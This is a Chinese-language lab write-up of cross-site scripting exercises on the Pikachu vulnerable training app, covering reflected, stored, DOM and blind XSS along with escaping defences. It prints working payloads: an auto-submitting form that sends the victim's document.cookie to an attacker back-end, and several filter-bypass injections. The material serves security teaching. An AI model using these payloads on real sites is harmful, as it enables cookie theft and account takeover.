文章目录
XSS
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS(跨站脚本漏洞)。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
反射型 XSS(get)
反射型 XSS(post)
- xss(get)漏洞利用的方式不可用
- 利用:我们构造一个表单,让有漏洞网站post提交,然后诱导用户点击这个链接(http://pikachu-master:8890/pkxss/xcookie/post.html)
<html>
<!--访问这个页面会获取用户的信息,转发给攻击者xss后台-->
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu-master:8890/vul/xss/xsspost/xss_reflected_post.php"><!--有漏洞的网站-->
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://pikachu-master:8890/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
<!--攻击者XSS后台-->
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
*用户点击后,我们就可以在后台看到cookie
存储型 XSS
DOM型 XSS
DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
- 输入sss,提交后出现超链接“what do you see?”,点击出现页面错误
- 查看网页源码发现。输入被写进了超链接里,采用 onclick来构造输入(’ οnclick=“alert(‘5550’)” ),前面单引号闭合href超链接
- 输入后点击“what do you see?”,出现xss
DOM 型 XSS-X
- 发现使用dom来处理,测试 ’ οnclick="alert(‘5550’)
XSS盲打
盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊,feedback啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。
“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。
通俗讲就是见到输入框就输入提前准备的xss代码, 通常是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息 。
- 后台出现弹窗,后台路径 http://pikachu-master:8890/vul/xss/xssblind/admin_login.php#
XSS过滤
- 另外
<img src=x onerror = "alert('xss')">
也可以绕过 - 由于是过滤多次,这种
<scr<scriptipt>alert('555')</sc<scriptript>
不行 - 观察网页源码,这种
</p><a href='' onclick="alert('5550')">aa<a><p>
也行
XSS之htmlspecialchars
- htmlspecialchars() 函数
XSS之href输出
- 总的原则:输入做过滤,输出做转义
- 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
- 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行js转义
在a标签里的 href作输出 的时候,到底改怎样防范呢???
如果仅仅是使用htmlspecialchars做处理是不行的,有两个步骤:
- 因为href一般是用来写超链接的,所以 我们可以在输入的时候仅仅 只允许http,https开头的协议,否则不允许输入。
- 其次在进行htmlspecialchars处理。
XSS之js输出
输入动态的生成到了js中,形成xss,由于javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转。
这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。
所以在JS的输出点应该使用\对特殊字符进行转义
构造闭合,把原本的<script>闭合掉,再插入我们自己的<script>
'</script><script>alert('xss')</script>